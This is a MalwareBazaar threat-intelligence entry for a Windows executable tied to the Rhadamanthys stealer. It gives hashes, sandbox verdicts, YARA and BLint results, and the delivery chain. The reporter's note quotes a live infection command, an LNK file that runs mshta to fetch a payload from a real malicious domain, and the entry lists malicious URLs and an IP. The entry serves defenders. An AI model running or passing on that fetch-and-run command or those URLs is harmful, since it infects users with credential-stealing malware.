MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 f288b51bbbec3bc248342fd71d49cc759615f24251d02524a1e49b18f6dab7ba. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry

Threat unknown

Vendor detections: 8

Intelligence 8 IOCs YARA 1 File information Comments

SHA256 hash:	f288b51bbbec3bc248342fd71d49cc759615f24251d02524a1e49b18f6dab7ba
SHA3-384 hash:	f28b21528d4d0f845d582a4ffadf8975b901b46b80ee66d5b29619482133acfa7ee8dc7abe66477366f319df8d8e17a7
SHA1 hash:	b9dff41f845f419df8a34ec0f3ad5211894e4839
MD5 hash:	67c2c11c382e2bc55195169d0efa2ae6
humanhash:	lion-jersey-princess-uniform
File name:	stage
Download:	download sample
File size:	188'560 bytes
First seen:	2024-04-18 14:03:35 UTC
Last seen:	2024-04-18 16:22:10 UTC
File type:	exe
MIME type:	application/x-dosexec
imphash	4d14d19b876bbb7a86ffba329be9d956 (1 x Rhadamanthys)
ssdeep	768:lfGgTViahszDOtfGgTViahszDOU68n5SDNPxmfinvr4zEfGgTViahszDOmefGgTV:F4WsO94WsO14WsOF4WsO
Threatray	1 similar samples on MalwareBazaar
TLSH	T191044D0943539948D19303F0F63088F812261E765E32868E127D356BA57EB9FDC3EB7A
TrID	37.8% (.EXE) Win32 Executable MS Visual C++ (generic) (31206/45/13) 20.0% (.EXE) Microsoft Visual C++ compiled executable (generic) (16529/12/5) 12.7% (.EXE) Win64 Executable (generic) (10523/12/4) 7.9% (.DLL) Win32 Dynamic Link Library (generic) (6578/25/2) 6.1% (.EXE) Win16 NE executable (generic) (5038/12/1)
File icon (PE):
dhash icon	f0f4e0b2f2e4f4d0 (8 x LummaStealer, 1 x CoinMiner, 1 x Rhadamanthys)
Reporter	rmceoin
Tags:	exe

rmceoin

91.92.253.126/Downloads/SA161.pdf.lnk
Wed, 10 Apr 2024 13:58:38 GMT
c4e79437d564a08dacec5a0bb754c6f03d13333276c9a48253a247bef5742c0a
nldw3-3-06-42
LNK > mshta http://0had.com/stage > http://0had.com/DisabilityCharge.exe

Decoy: http://0had.com/SA160.pdf

Intelligence

File Origin

# of uploads :

# of downloads :

450

Origin country :

Vendor Threat Intelligence

Malware family:

n/a

ID:

File name:

c4e79437d564a08dacec5a0bb754c6f03d13333276c9a48253a247bef5742c0a.lnk

Verdict:

Malicious activity

Analysis date:

2024-04-18 14:07:39 UTC

Tags:

loader rhadamanthys stealer

Link:

https://app.any.run/tasks/3f436d35-74e9-4dcd-b90f-1329842222fa

Note:

ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample

Result

Verdict:

Clean

Maliciousness:

Behaviour

Searching for the window

Verdict:

Malicious

Threat level:

10/10

Confidence:

100%

Tags:

anti-vm overlay

Link:

https://www.filescan.io/uploads/6621285a47bfd8641eae8040/reports/919de945-fb0a-4ed7-83f3-6e57db47108f/overview

Verdict:

Malicious

Labled as:

Fugrafa.Generic

Link:

https://www.hybrid-analysis.com/sample/f288b51bbbec3bc248342fd71d49cc759615f24251d02524a1e49b18f6dab7ba

Result

Verdict:

MALICIOUS

Details

Windows PE Executable

Found a Windows Portable Executable (PE) binary. Depending on context, the presence of a binary is suspicious or malicious.

Verdict:

Unknown

Link:

https://analyze.intezer.com/analyses/1b551fa0-3e92-43f6-bb89-411eb50d874a

Result

Threat name:

n/a

Detection:

clean

Classification:

n/a

Score:

4 / 100

Link:

https://www.joesandbox.com/analysis/1428168

Behaviour

Behavior Graph:

n/a

Score:

15%

Verdict:

Benign

File Type:

Link:

https://malprob.io/report/f288b51bbbec3bc248342fd71d49cc759615f24251d02524a1e49b18f6dab7ba

Detection:

n/a

Link:

https://mwdb.cert.pl/sample/f288b51bbbec3bc248342fd71d49cc759615f24251d02524a1e49b18f6dab7ba/

Threat name:

Win32.Trojan.Strictor

Status:

Malicious

First seen:

2024-04-18 14:04:05 UTC

File Type:

PE (Exe)

Extracted files:

AV detection:

9 of 24 (37.50%)

Threat level:

5/5

Detection(s):

Suspicious file

Link:

https://check.spamhaus.org/check/?searchterm=6kelkg535q54esbuf7lr2somowlbl4sckhickjfb4snrr5w2w65a._file

Verdict:

malicious

Result

Malware family:

n/a

Score:

3/10

Tags:

n/a

Link:

https://tria.ge/reports/240418-rc9atsgc3s/

Unpacked files

SH256 hash:

f288b51bbbec3bc248342fd71d49cc759615f24251d02524a1e49b18f6dab7ba

MD5 hash:

67c2c11c382e2bc55195169d0efa2ae6

SHA1 hash:

b9dff41f845f419df8a34ec0f3ad5211894e4839

Link:

https://www.unpac.me/results/64e4c5fb-5111-4a63-9e9a-2aae9d391787/

Please note that we are no longer able to provide a coverage score for Virus Total.

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:	QbotStuff Create hunting rule
Author:	anonymous

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Web download

Rhadamanthys

lnk c4e79437d564a08dacec5a0bb754c6f03d13333276c9a48253a247bef5742c0a

exe f288b51bbbec3bc248342fd71d49cc759615f24251d02524a1e49b18f6dab7ba

(this sample)

Rhadamanthys

exe 35ed65d9919843300db648bf93ae57d7330095eb1ce18d6c6050db88a2e4f297

Dropped by

SHA256 c4e79437d564a08dacec5a0bb754c6f03d13333276c9a48253a247bef5742c0a

Dropping

SHA256 35ed65d9919843300db648bf93ae57d7330095eb1ce18d6c6050db88a2e4f297

URLhaus

https://urlhaus.abuse.ch/url/2817145/

Delivery method

Distributed via web download

URLhaus

https://urlhaus.abuse.ch/url/2817231/

Dropped by

MD5 b6c511480d3c76834e42b773836e76a9

BLint

The following table provides more information about this file using BLint. BLint is a Binary Linter to check the security properties, and capabilities in executables.

Findings

ID	Title	Severity
CHECK_AUTHENTICODE	Missing Authenticode	high
CHECK_DLL_CHARACTERISTICS	Missing dll Security Characteristics (HIGH_ENTROPY_VA)	high
CHECK_TRUST_INFO	Requires Elevated Execution (level:requireAdministrator)	high

Reviews

ID	Capabilities	Evidence
WIN32_PROCESS_API	Can Create Process and Threads	KERNEL32.dll::CloseHandle
WIN_BASE_API	Uses Win Base API	KERNEL32.dll::TerminateProcess
WIN_REG_API	Can Manipulate Windows Registry	ADVAPI32.dll::RegQueryValueExW

Comments

Login required

You need to login to in order to write a comment. Login with your abuse.ch account.

No comments found for this malware sample